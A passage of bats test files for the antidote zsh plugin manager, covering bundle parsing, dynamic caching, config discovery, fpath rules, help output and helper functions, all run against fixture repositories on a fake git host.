<<'EOF' zsh_script __bundle__ foo/bar __type__ repo kind defer zsh_script __bundle__ bar/baz __type__ repo kind defer __skip_load_defer__ 1 zsh_script __bundle__ baz/qux __type__ repo kind defer __skip_load_defer__ 1 EOF ) expect "$expected" } @test "bundle_scripter handles funky whitespace" { fixture_session <<'EOS' cr=$'\r'; lf=$'\n'; tab=$'\t' echo "foo/bar${tab}kind:path${cr}${lf}" | antidote __private__ bundle_scripter EOS expect "zsh_script __bundle__ foo/bar __type__ repo kind path" } # The bundle parser needs to properly handle quoted annotations. @test "quoted conditional annotation survives parse, script, and bundle" { fixture_session <<'EOS' bundle='foo/bar conditional:"is-macos || is-linux"' echo $bundle | antidote __private__ bundle_parser_serialize | print_parsed_bundle echo $bundle | antidote __private__ bundle_scripter antidote bundle $bundle EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar conditional : is-macos || is-linux zsh_script __bundle__ foo/bar __type__ repo conditional 'is-macos || is-linux' if is-macos || is-linux; then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fi EOF ) expect "$expected" } @test "quoted pre/post annotations survive parse, script, and bundle" { fixture_session <<'EOS' bundle="foo/bar pre:'echo hello \$world' post:\"echo \\\"goodbye \$world\\\"\"" echo $bundle echo $bundle | antidote __private__ bundle_parser_serialize | print_parsed_bundle echo $bundle | antidote __private__ bundle_scripter antidote bundle $bundle EOS expected=$(cat <<'EOF' foo/bar pre:'echo hello $world' post:"echo \"goodbye $world\"" __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar post : echo "goodbye $world" pre : echo hello $world zsh_script __bundle__ foo/bar __type__ repo post 'echo "goodbye $world"' pre 'echo hello $world' echo hello $world fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" echo "goodbye $world" EOF ) expect "$expected" } # The bundle parser turns the bundle DSL into zsh_script statements. @test "quoted annotations and ANTIDOTE_HOME with spaces" { run_session <<'EOS' ANTIDOTE_HOME="$HOME/.cache/antidote with spaces" mkdir -p -- "$ANTIDOTE_HOME" echo 'foo/bar path:"plugins/foo bar/baz"' | antidote __private__ bundle_parser_serialize | print_parsed_bundle echo 'foo/bar' | antidote __private__ bundle_scripter antidote bundle 'foo/bar' EOS expected=$(cat <<'EOF' __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar path : plugins/foo bar/baz zsh_script __bundle__ foo/bar __type__ repo # antidote cloning foo/bar... fpath+=( "$HOME/.cache/antidote with spaces/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote with spaces/fakegitsite.com/foo/bar/bar.plugin.zsh" EOF ) expect "$expected" } @test "bundle_scripter handles the full ZDOTDIR plugins file" { fixture_session <<'EOS' antidote __private__ bundle_scripter < $ZDOTDIR/.zsh_plugins.txt EOS expected=$(cat <<'EOF' zsh_script __bundle__ ~/foo/bar __type__ path zsh_script __bundle__ '$ZSH_CUSTOM' __type__ empty path plugins/myplugin zsh_script __bundle__ foo/bar __type__ repo zsh_script __bundle__ git@fakegitsite.com:foo/qux.git __type__ ssh_url zsh_script __bundle__ getantidote/zsh-defer __type__ repo kind clone zsh_script __bundle__ foo/bar __type__ repo kind zsh zsh_script __bundle__ foo/bar __type__ repo kind fpath zsh_script __bundle__ foo/bar __type__ repo kind path zsh_script __bundle__ ohmy/ohmy __type__ repo path lib zsh_script __bundle__ ohmy/ohmy __type__ repo path plugins/extract zsh_script __bundle__ ohmy/ohmy __type__ repo kind defer path plugins/magic-enter zsh_script __bundle__ ohmy/ohmy __type__ repo path custom/themes/pretty.zsh-theme EOF ) expect "$expected" } mattmc3-antidote-9bb69ab/tests/bats/completions.bats000066400000000000000000000027541523541175400227100ustar00rootroot00000000000000#!/usr/bin/env bats # Unit tests for the _antidote completion helper functions. # Runs them in plain zsh with compsys stubbed (see helpers/comp_stub.zsh). # The _arguments specs themselves need a live shell to exercise; see # docs/.completion-testing-notes.md for why that is not automated. load lib/bats-support/load load lib/bats-assert/load setup() { cd "$BATS_TEST_DIRNAME/../.." STUB=tests/bats/helpers/comp_stub.zsh } @test "_antidote parses cleanly" { run zsh -n functions/_antidote assert_success } @test "_antidote_subcommands parses commands from antidote --help" { run zsh -f "$STUB" _antidote_subcommands assert_success assert_output --partial "bundle:Clone bundle(s) and generate the static load script" assert_output --partial "install:Clone a new bundle and add it to your plugins file" assert_output --partial "load:Statically source all bundles from the plugins file" } @test "_antidote_subcommands ignores non-command help text" { run zsh -f "$STUB" _antidote_subcommands refute_output --partial "usage:" } @test "_antidote_installed_bundles reduces URLs to owner/repo" { run zsh -f "$STUB" _antidote_installed_bundles assert_success assert_output --partial "foo/bar" assert_output --partial "group/repo" refute_output --partial "https" } @test "_antidote_bundle_kinds lists every supported kind" { run zsh -f "$STUB" _antidote_bundle_kinds assert_success for kind in autoload clone defer fpath path zsh; do assert_output --partial "$kind" done } mattmc3-antidote-9bb69ab/tests/bats/config.bats000066400000000000000000000053701523541175400216160ustar00rootroot00000000000000#!/usr/bin/env bats # ANTIDOTE_CONFIG discovery tests. antidote.zsh sources # ${ANTIDOTE_CONFIG:-${XDG_CONFIG_HOME:-$HOME/.config}/antidote/config.zsh}. # The skeleton home ships ~/.config/antidote/config.zsh setting # path-style short, so discovery is observable against the full-style # default. ACONFIG="" makes the wrapper leave ANTIDOTE_CONFIG unset. load helpers/common setup() { antidote_common_setup antidote_test_home } @test "explicit ANTIDOTE_CONFIG beats the default config file" { run antidote __private__ bundle_dir foo/bar assert_output "$AHOME/fakegitsite.com/foo/bar" } @test "config is discovered at ~/.config/antidote/config.zsh" { ACONFIG="" run antidote __private__ bundle_dir foo/bar assert_output "$AHOME/foo/bar" } @test "XDG_CONFIG_HOME relocates config discovery" { ACONFIG="" mkdir -p "$TESTHOME/.xdg/antidote" echo "zstyle ':antidote:bundle' path-style escaped" >"$TESTHOME/.xdg/antidote/config.zsh" EXTRA_ENV="XDG_CONFIG_HOME=$TESTHOME/.xdg" run antidote __private__ bundle_dir foo/bar assert_output "$AHOME/https-COLON--SLASH--SLASH-github.com-SLASH-foo-SLASH-bar" } # antidote-setup sources the config into the parent and marks it, so a # subprocess launched from that shell must not source it a second time. @test "the config file is sourced once per shell, not per command" { SESSION_PRELUDE='export ANTIDOTE_CONFIG=$HOME/cfg.zsh print -r -- "print -n x >>\$HOME/srccount" >$ANTIDOTE_CONFIG rm -f $HOME/srccount antidote-setup' run_session <<'EOS' antidote home >/dev/null antidote --version >/dev/null echo "sourced: ${#$(<$HOME/srccount)}" EOS assert_output "sourced: 1" } # Nothing marked it, so a standalone subprocess still reads it itself. @test "an unmarked subprocess sources the config itself" { SESSION_PRELUDE='export ANTIDOTE_CONFIG=$HOME/cfg.zsh print -r -- "print -n x >>\$HOME/srccount" >$ANTIDOTE_CONFIG rm -f $HOME/srccount' run_session <<'EOS' zstyle -d ':antidote:config' sourced antidote-zsh home >/dev/null echo "sourced: ${#$(<$HOME/srccount)}" EOS assert_output "sourced: 1" } @test "a missing config file is tolerated" { ACONFIG="" rm "$TESTHOME/.config/antidote/config.zsh" run antidote __private__ bundle_dir foo/bar assert_success assert_output "$AHOME/github.com/foo/bar" } @test "diagnostics reports the explicit config path" { run antidote --diagnostics assert_line --regexp "^ +config: +${ACONFIG}\$" } @test "diagnostics reports the discovered config path" { ACONFIG="" run antidote --diagnostics assert_line --regexp "^ +config: +${TESTHOME}/.config/antidote/config.zsh\$" } @test "diagnostics flags a config path with no file" { ACONFIG="$TESTHOME/.config/antidote/nope.zsh" run antidote --diagnostics assert_line --regexp "^ +config: +${ACONFIG} \(not found\)\$" } mattmc3-antidote-9bb69ab/tests/bats/default_branch.bats000066400000000000000000000037411523541175400233120ustar00rootroot00000000000000#!/usr/bin/env bats # Bundles whose remote default branch is not main. # # The devhead/devrepo fixture has main and dev, diverged, with the bare # repo's HEAD on dev. Following the wrong branch is therefore visible in # the plugin file, which main and dev end differently. load helpers/common setup() { antidote_common_setup antidote_test_home ZSTYLES="zstyle ':antidote:test:version' show-sha off zstyle ':antidote:test:git' autostash off" DEVDIR="$AHOME/fakegitsite.com/devhead/devrepo" } @test "a clone follows the remote default branch" { run antidote bundle 'devhead/devrepo kind:clone' assert_success run git -C "$DEVDIR" rev-parse --abbrev-ref HEAD assert_output "dev" run tail -1 "$DEVDIR/devrepo.plugin.zsh" assert_output "# on dev" } @test "a branch annotation still wins over the default branch" { run antidote bundle 'devhead/devrepo kind:clone branch:main' assert_success run git -C "$DEVDIR" rev-parse --abbrev-ref HEAD assert_output "main" run tail -1 "$DEVDIR/devrepo.plugin.zsh" assert_output "# on main" } @test "update keeps a default-branch clone on that branch" { run antidote bundle 'devhead/devrepo kind:clone' assert_success tgit_deepen "$DEVDIR" tgit -C "$DEVDIR" reset --quiet --hard HEAD~1 run antidote update assert_success refute_output --partial "update failed for 'devhead/devrepo'" run git -C "$DEVDIR" rev-parse --abbrev-ref HEAD assert_output "dev" run git -C "$DEVDIR" rev-parse HEAD assert_output "$(git -C "$DEVDIR" rev-parse refs/remotes/origin/dev)" } # Detached with no upstream, so git_upstream_ref falls back. The fallback # has to land on dev, not on main. @test "update follows origin HEAD from a detached clone" { run antidote bundle "devhead/devrepo kind:clone" assert_success tgit_deepen "$DEVDIR" tgit -C "$DEVDIR" checkout --quiet --detach HEAD~1 run antidote update assert_success run git -C "$DEVDIR" rev-parse HEAD assert_output "$(git -C "$DEVDIR" rev-parse refs/remotes/origin/dev)" } mattmc3-antidote-9bb69ab/tests/bats/dispatch.bats000066400000000000000000000043241523541175400221460ustar00rootroot00000000000000#!/usr/bin/env bats # antidote dispatch tests. # Dispatch is core to everything, so we don't need to test much here. load helpers/common setup() { antidote_common_setup; } # Lazy-loading antidote must work from either the repo root or the # functions dir. Fix #54. $dir expands in bats; session vars escaped. lazy_load_check() { local dir=$1 run_session </dev/null; echo "antidote -v exit: \$?" echo "dispatch loaded: \$+functions[antidote-dispatch]" EOS assert_line --index 0 "dispatch loaded: 0" assert_line --index 1 "antidote -v exit: 0" assert_line --index 2 "dispatch loaded: 1" } @test "antidote-dispatch --version works" { run_session <<<'antidote-dispatch --version' assert_success assert_output --partial "antidote version $EXPECTED_VERSION" } @test "antidote lazy loads from the repo root" { lazy_load_check '$T_PRJDIR' } @test "antidote lazy loads from the functions dir" { lazy_load_check '$T_PRJDIR/functions' } # The antidote function autoloads from fpath and resolves on first call. @test "antidote autoloads lazily from fpath" { run env HOME="$BATS_TEST_TMPDIR" ANTIDOTE_CONFIG=/dev/null \ ANTIDOTE_ZSTYLES="zstyle ':antidote:test:version' show-sha off" \ zsh -f -c ' print "defined before autoload: $+functions[antidote]" fpath=($PWD $fpath) autoload -Uz antidote print "defined after autoload: $+functions[antidote]" whence -f antidote | grep -o "builtin autoload -XUz" antidote -h | head -n1 ' assert_success assert_line --index 0 'defined before autoload: 0' assert_line --index 1 'defined after autoload: 1' assert_line --index 2 "builtin autoload -XUz" assert_line --index 3 "antidote - the cure to slow zsh plugin management" } # A copy of antidote.zsh outside a git checkout has no sha to show and # must not print errors trying to find one. @test "version works outside a git repo with no errors" { antidote_test_home cp "$PRJDIR/antidote.zsh" "$BATS_TEST_TMPDIR/antidote.zsh" run env HOME="$TESTHOME" zsh "$BATS_TEST_TMPDIR/antidote.zsh" --version assert_success assert_output "antidote version $EXPECTED_VERSION" } mattmc3-antidote-9bb69ab/tests/bats/dynamic_cache.bats000066400000000000000000000251311523541175400231150ustar00rootroot00000000000000#!/usr/bin/env bats # Dynamic-mode script cache (antidote-bundle-dynamic). # # The sentinel pattern proves a warm serve: append `echo cache hit` to a # cached script file, rerun the line, and the sentinel only prints if the # cached copy is what actually ran. The .zwc must be removed alongside, # or zsh serves the stale compiled copy. load helpers/common setup() { antidote_common_setup; } @test "dynamic bundle caches its script and serves it warm" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null scripts=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "scripts: $#scripts" print 'echo cache hit' >>$scripts[1] antidote bundle foo/bar EOS assert_line "scripts: 1" assert_line "cache hit" assert_line "sourcing bar.plugin.zsh from foo/bar..." } # Publishing writes a temp then renames it. The writer traps EXIT to reap # its own temp, so a successful write leaves the script and nothing else. @test "publishing leaves no temp files behind" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null antidote bundle foo/baz &>/dev/null temps=($ANTIDOTE_HOME/.dynamic/*.new.*(N)) scripts=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "temps: $#temps" echo "scripts: $#scripts" EOS assert_line "temps: 0" assert_line "scripts: 2" } # zcompile is opt-in: without the zstyle, no .zwc files are written. @test "cache files are not zcompiled by default" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null zwcs=($ANTIDOTE_HOME/.dynamic/*.zwc(N)) echo "zwc files: $#zwcs" EOS assert_line "zwc files: 0" } # With the zstyle set, cache files are zcompiled and a warm serve works # from the .zwc alone (the .zsh removed). @test "zcompile zstyle compiles cache files and serves from the zwc" { run_session <<'EOS' zstyle ':antidote:dynamic' zcompile yes source <(antidote init) antidote bundle foo/bar &>/dev/null zwcs=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh.zwc(N)) echo "zwc files: $#zwcs" scripts=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) rm $scripts[1] antidote bundle foo/bar EOS assert_line "zwc files: 1" assert_line "sourcing bar.plugin.zsh from foo/bar..." } @test "dynamic bundle returns success warm and cold" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null; echo "cold exit: $?" antidote bundle foo/bar &>/dev/null; echo "warm exit: $?" EOS assert_line "cold exit: 0" assert_line "warm exit: 0" } # Reset the using: context and replay the chain. Each line must resolve # to its own input-keyed cache file. @test "using: chain serves warm from disk" { run_session <<'EOS' source <(antidote init) antidote bundle using:ohmy/ohmy path:plugins &>/dev/null antidote bundle docker &>/dev/null antidote bundle extract &>/dev/null for f in $ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N); do print '(( cache_hits++ ))' >>$f done typeset -gi cache_hits=0 _antidote_using_context=() echo "--- warm ---" antidote bundle using:ohmy/ohmy path:plugins antidote bundle docker antidote bundle extract echo "cache hits: $cache_hits" EOS expected=$(cat <<'EOF' --- warm --- sourcing plugins/docker/docker.plugin.zsh from ohmy/ohmy... sourcing plugins/extract/extract.plugin.zsh from ohmy/ohmy... cache hits: 3 EOF ) expect "$expected" } # Same bare word under a different using: context is a different cache # entry, never a stale crossover. @test "using: context changes produce distinct cache entries" { run_session <<'EOS' source <(antidote init) antidote bundle using:ohmy/ohmy path:plugins &>/dev/null antidote bundle docker &>/dev/null antidote bundle using:$ZDOTDIR/custom path:plugins &>/dev/null antidote bundle docker &>/dev/null files=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "cache files: $#files" EOS assert_line "cache files: 4" } @test "zstyle set before first bundle does not error" { run_session <<'EOS' zstyle ':antidote:fpath' rule append source <(antidote init) antidote bundle foo/bar EOS refute_line --partial "bad math expression" assert_line "sourcing bar.plugin.zsh from foo/bar..." } # Changing an ':antidote:*' zstyle hashes to a different cache file. @test "zstyle changes switch to a separate cache file" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null for f in $ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N); do print 'echo cache hit' >>$f rm -f $f.zwc done zstyle ':antidote:fpath' rule prepend antidote bundle foo/bar files=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "cache files: $#files" EOS refute_line "cache hit" assert_line "sourcing bar.plugin.zsh from foo/bar..." assert_line "cache files: 2" } # Flipping back to the original zstyles reuses its original cache file. @test "alternating zstyles keep separate warm cache files" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null file=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh([1])) print 'print original cache loaded' >>$file zstyle ':antidote:fpath' rule prepend antidote bundle foo/bar &>/dev/null zstyle -d ':antidote:fpath' rule antidote bundle foo/bar EOS assert_line "original cache loaded" assert_line "sourcing bar.plugin.zsh from foo/bar..." } # The cache key carries a version literal, since an upgrade can land # with the same path and mtime. bumpver updates it; this catches a miss. @test "the cached version literal matches antidote's version" { run grep -c "antidote:$EXPECTED_VERSION" "$PRJDIR/functions/antidote-bundle-dynamic" assert_output "1" } # A changed config file mtime hashes to a different cache file. @test "cache regenerates when the config file is newer" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null for f in $ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N); do print 'echo cache hit' >>$f rm -f $f.zwc done touch -t 203801010000 $ANTIDOTE_CONFIG antidote bundle foo/bar scripts=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "cache files: $#scripts" EOS refute_line "cache hit" assert_line "sourcing bar.plugin.zsh from foo/bar..." assert_line "cache files: 2" } @test "purge clears the cache so bundles reclone" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null antidote purge foo/bar &>/dev/null [[ -d $ANTIDOTE_HOME/.dynamic ]] && echo "cache dir present" || echo "cache dir gone" antidote bundle foo/bar EOS assert_line "cache dir gone" assert_line "# antidote cloning foo/bar..." assert_line "sourcing bar.plugin.zsh from foo/bar..." } # Bundle contents can change on update, so update flushes the cache. @test "update clears the dynamic cache" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null [[ -d $ANTIDOTE_HOME/.dynamic ]] && echo "before update: present" || echo "before update: gone" antidote update --bundles &>/dev/null [[ -d $ANTIDOTE_HOME/.dynamic ]] && echo "after update: present" || echo "after update: gone" EOS assert_line "before update: present" assert_line "after update: gone" } # A warm source failure is returned without regenerating and sourcing # the same plugin a second time. @test "warm source failures do not run twice" { run_session <<'EOS' source <(antidote init) antidote bundle foo/bar &>/dev/null rm -rf $ANTIDOTE_HOME/fakegitsite.com/foo/bar antidote bundle foo/bar 2>/dev/null || echo "source failed" EOS assert_line "source failed" refute_line --partial "antidote cloning" } @test "piped bundles bypass the cache" { run_session <<'EOS' source <(antidote init) antidote bundle </dev/null foo/bar foo/baz EOB echo "plugins: $#plugins" [[ -d $ANTIDOTE_HOME/.dynamic ]] && echo "cache dir present" || echo "cache dir absent" EOS assert_line "plugins: 2" assert_line "cache dir absent" } @test "piped bundles load silently" { run_session <<'EOS' source <(antidote init) antidote bundle </dev/null antidote bundle foo/bar kind:fpath &>/dev/null files=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "cache files: $#files" EOS assert_line "cache files: 2" } @test "multiline bundle args cache and serve warm" { run_session <<'EOS' source <(antidote init) antidote bundle $'foo/bar\nfoo/baz' &>/dev/null files=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "cache files: $#files" for f in $ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N); do print 'echo cache hit' >>$f rm -f $f.zwc done antidote bundle $'foo/bar\nfoo/baz' EOS assert_line "cache files: 1" assert_line "sourcing bar.plugin.zsh from foo/bar..." assert_line "sourcing baz.plugin.zsh from foo/baz..." assert_line "cache hit" } @test "deferred bundles cache and serve warm" { run_session <<'EOS' source <(antidote init) antidote bundle ohmy/ohmy path:plugins/magic-enter kind:defer &>/dev/null echo "zsh-defer after cold: $+functions[zsh-defer]" for f in $ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N); do print 'echo cache hit' >>$f rm -f $f.zwc done antidote bundle ohmy/ohmy path:plugins/magic-enter kind:defer EOS assert_line "zsh-defer after cold: 1" assert_line "cache hit" } @test "local path bundles cache and serve warm" { run_session <<'EOS' source <(antidote init) antidote bundle $ZDOTDIR/custom/lib &>/dev/null echo "libs after cold: $#libs" for f in $ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N); do print 'echo cache hit' >>$f rm -f $f.zwc done antidote bundle $ZDOTDIR/custom/lib EOS assert_line "cache hit" } # Warm evals run in the caller's context, so plugin setopts stick just # like they do when sourcing a static file. @test "plugin setopts stick on warm serves" { run_session <<'EOS' source <(antidote init) antidote bundle $ZDOTDIR/custom/plugins/bedlam &>/dev/null print -r -- "cold globdots: $options[globdots]" unsetopt globdots antidote bundle $ZDOTDIR/custom/plugins/bedlam &>/dev/null print -r -- "warm globdots: $options[globdots]" EOS assert_line "cold globdots: on" assert_line "warm globdots: on" } @test "invalid bundle is not cached and fails" { run_session <<'EOS' source <(antidote init) antidote bundle 'bad:bundle:value' 2>&1 >/dev/null; echo "exit: $?" files=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "cache files: $#files" EOS assert_line --partial "invalid bundle" assert_line "exit: 1" assert_line "cache files: 0" } @test "invalid bundle from stdin fails" { run_session <<'EOS' source <(antidote init) print -r -- 'bad:bundle:value' | antidote bundle 2>/dev/null EOS assert_failure } @test "failed clone is not cached and fails" { run_session <<'EOS' source <(antidote init) antidote bundle does-not/exist 2>/dev/null; echo "exit: $?" files=($ANTIDOTE_HOME/.dynamic/[0-9]*.zsh(N)) echo "cache files: $#files" EOS assert_line "exit: 1" assert_line "cache files: 0" } mattmc3-antidote-9bb69ab/tests/bats/fpath_rules.bats000066400000000000000000000074761523541175400226760ustar00rootroot00000000000000#!/usr/bin/env bats # antidote bundle fpath-rule: tests load helpers/common setup_file() { antidote_fixture_proto; } setup() { antidote_common_setup antidote_test_home_cached } @test "fpath is appended to by default" { run antidote bundle foo/bar kind:fpath assert_output 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" )' } # fpath can be told to explicitly append, but it's unnecessary @test "explicit fpath-rule:append works" { run antidote bundle foo/bar kind:zsh fpath-rule:append expect 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh"' } @test "fpath-rule:prepend prepends" { run antidote bundle foo/bar kind:fpath fpath-rule:prepend assert_output 'fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" $fpath )' } @test "fpath rules can only be append or prepend" { run antidote bundle foo/bar kind:fpath fpath-rule:append assert_success run antidote bundle foo/bar kind:fpath fpath-rule:prepend assert_success run antidote bundle foo/bar kind:fpath fpath-rule:foo assert_failure 1 assert_output "# antidote: error: unexpected fpath rule: 'foo'" } @test "fpath rules apply to kind:autoload" { run antidote bundle foo/baz path:baz kind:autoload fpath-rule:append expect 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" ) builtin autoload -Uz "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz"/*(N.:t)' run antidote bundle foo/baz path:baz kind:autoload fpath-rule:prepend expect 'fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" $fpath ) builtin autoload -Uz "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz"/*(N.:t)' } @test "fpath rules apply to autoload:funcdir annotations" { run antidote bundle foo/baz autoload:baz fpath-rule:append expect 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" ) builtin autoload -Uz "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz"/*(N.:t) fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz.plugin.zsh"' run antidote bundle foo/baz autoload:baz fpath-rule:prepend expect 'fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" $fpath ) builtin autoload -Uz "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz"/*(N.:t) fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz" $fpath ) source "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz.plugin.zsh"' } # fpath rules can be set globally with a zstyle: # zstyle ':antidote:fpath' rule 'prepend' @test "global fpath rule zstyle" { ZSTYLES="zstyle ':antidote:fpath' rule prepend" run antidote bundle foo/bar expect 'fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" $fpath ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh"' run antidote bundle foo/bar kind:fpath assert_output 'fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" $fpath )' run antidote bundle foo/baz path:baz kind:autoload expect 'fpath=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" $fpath ) builtin autoload -Uz "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz"/*(N.:t)' } # It is NOT recommended, but explicit fpath-rules still beat the zstyle. @test "explicit fpath-rule overrides the global zstyle" { ZSTYLES="zstyle ':antidote:fpath' rule prepend" run antidote bundle foo/bar fpath-rule:append expect 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh"' run antidote bundle foo/bar kind:fpath fpath-rule:append assert_output 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" )' run antidote bundle foo/baz path:baz kind:autoload fpath-rule:append expect 'fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz" ) builtin autoload -Uz "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz"/*(N.:t)' } mattmc3-antidote-9bb69ab/tests/bats/help.bats000066400000000000000000000043341523541175400213000ustar00rootroot00000000000000#!/usr/bin/env bats # antidote help tests load helpers/common setup() { antidote_common_setup; } # Man page header check for a topic via `antidote help `, # `antidote --help`, and `antidote -h`. manpage_check() { local topic=$1 page=$2 header header="$page(1) Antidote Manual $page(1)" run_session </dev/null; echo "help: $?"' assert_output "help: 0" } @test "man antidote works and MANPATH is set" { run_session <<'EOS' PAGER=cat man antidote | head -n 1 | sed 's/ */ /g' print -r -- "$MANPATH" EOS assert_success assert_line --index 0 "ANTIDOTE(1) Antidote Manual ANTIDOTE(1)" assert_line --index 1 --partial "$PRJDIR/man:" } @test "antidote help bundle" { manpage_check bundle ANTIDOTE-BUNDLE; } @test "antidote help help" { manpage_check help ANTIDOTE-HELP; } @test "antidote help home" { manpage_check home ANTIDOTE-HOME; } @test "antidote help init" { manpage_check init ANTIDOTE-INIT; } @test "antidote help install" { manpage_check install ANTIDOTE-INSTALL; } @test "antidote help list" { manpage_check list ANTIDOTE-LIST; } @test "antidote help load" { manpage_check load ANTIDOTE-LOAD; } @test "antidote help path" { manpage_check path ANTIDOTE-PATH; } @test "antidote help update" { manpage_check update ANTIDOTE-UPDATE; } @test "unknown topic falls back to usage" { run_session <<<'antidote help foo' assert_failure 1 assert_output "No manual entry for antidote-foo $(cat "$PRJDIR/tests/testdata/usage_dispatch.txt")" } # The private usage helpers should not remain defined in the user's shell. # Printing the survivors names the leak instead of just failing a probe. @test "no leaked usage helper functions" { run_session <<'EOS' antidote -h >/dev/null antidote help >/dev/null 2>&1 print -r -- "leaked: ${(ok)functions[(I)__antidote*]}" EOS assert_success assert_output "leaked: " } mattmc3-antidote-9bb69ab/tests/bats/helpers.bats000066400000000000000000000236431523541175400220160ustar00rootroot00000000000000#!/usr/bin/env bats # Helper function tests. Each case runs antidote.zsh as a subprocess # via `antidote __private__ ` in the standard isolated test home # (see helpers/common.bash). load helpers/common setup() { antidote_common_setup antidote_test_home } # check [args...] - run `antidote __private__` # and compare, with a readable failure message. check() { local expected=$1; shift run antidote __private__ "$@" if [ "$output" != "$expected" ]; then echo "cmd: antidote __private__ $*" echo "expected: $expected" echo "got: $output" return 1 fi } # Appease my paranoia and ensure you can't remove a path you shouldn't # be able to. @test "del blocks removal outside HOME and tempdir" { run antidote __private__ del -- /foo/bar assert_failure assert_output --partial "Blocked attempt to rm path: '/foo/bar'." } @test "bundle_type classifies files, dirs, and paths" { touch "$TESTHOME/.zshenv" "$ZDOTDIR/.zsh_plugins.txt" check file "bundle_type" "$PRJDIR/antidote.zsh" check dir "bundle_type" "$PRJDIR/functions" check file "bundle_type" '$T_PRJDIR/antidote.zsh' check dir "bundle_type" '$T_PRJDIR/functions' check path "bundle_type" '$ZDOTDIR/foo' check file "bundle_type" '$ZDOTDIR/.zsh_plugins.txt' check file "bundle_type" '~/.zshenv' check path "bundle_type" '~/null' check path "bundle_type" '~/foo/bar' check path "bundle_type" '$foo/bar' check path "bundle_type" /foo/bar check path "bundle_type" /foobar } @test "bundle_type classifies urls and repos" { check ssh_url "bundle_type" 'git@fakegitsite.com:foo/bar.git' check url "bundle_type" 'https://fakegitsite.com/foo/bar' check url "bundle_type" 'https://gist.github.com/someuser/abc123def456' check url "bundle_type" 'https://gist.github.com/someuser/abc123def456.git' check url "bundle_type" 'https://gitlab.com/group/subgroup/repo' check url "bundle_type" 'https://github.com' check url "bundle_type" 'https://github.com.git' check repo "bundle_type" foo/bar check repo "bundle_type" bar/baz.git } @test "bundle_type flags invalid, empty, and bare-word bundles" { check '?' "bundle_type" 'https:/typo.com/foo/bar.git' check '?' "bundle_type" foobar/ check '?' "bundle_type" foo/bar/baz check '?' "bundle_type" 'foo bar baz' check empty "bundle_type" '' check empty "bundle_type" ' ' check using_subplugin "bundle_type" foobar check using_subplugin "bundle_type" foo bar baz } @test "bundle_name shortens urls and prettifies paths" { # Paths under HOME print with a literal '$HOME' prefix. check '$HOME/.zsh/custom/lib/lib1.zsh' "bundle_name" 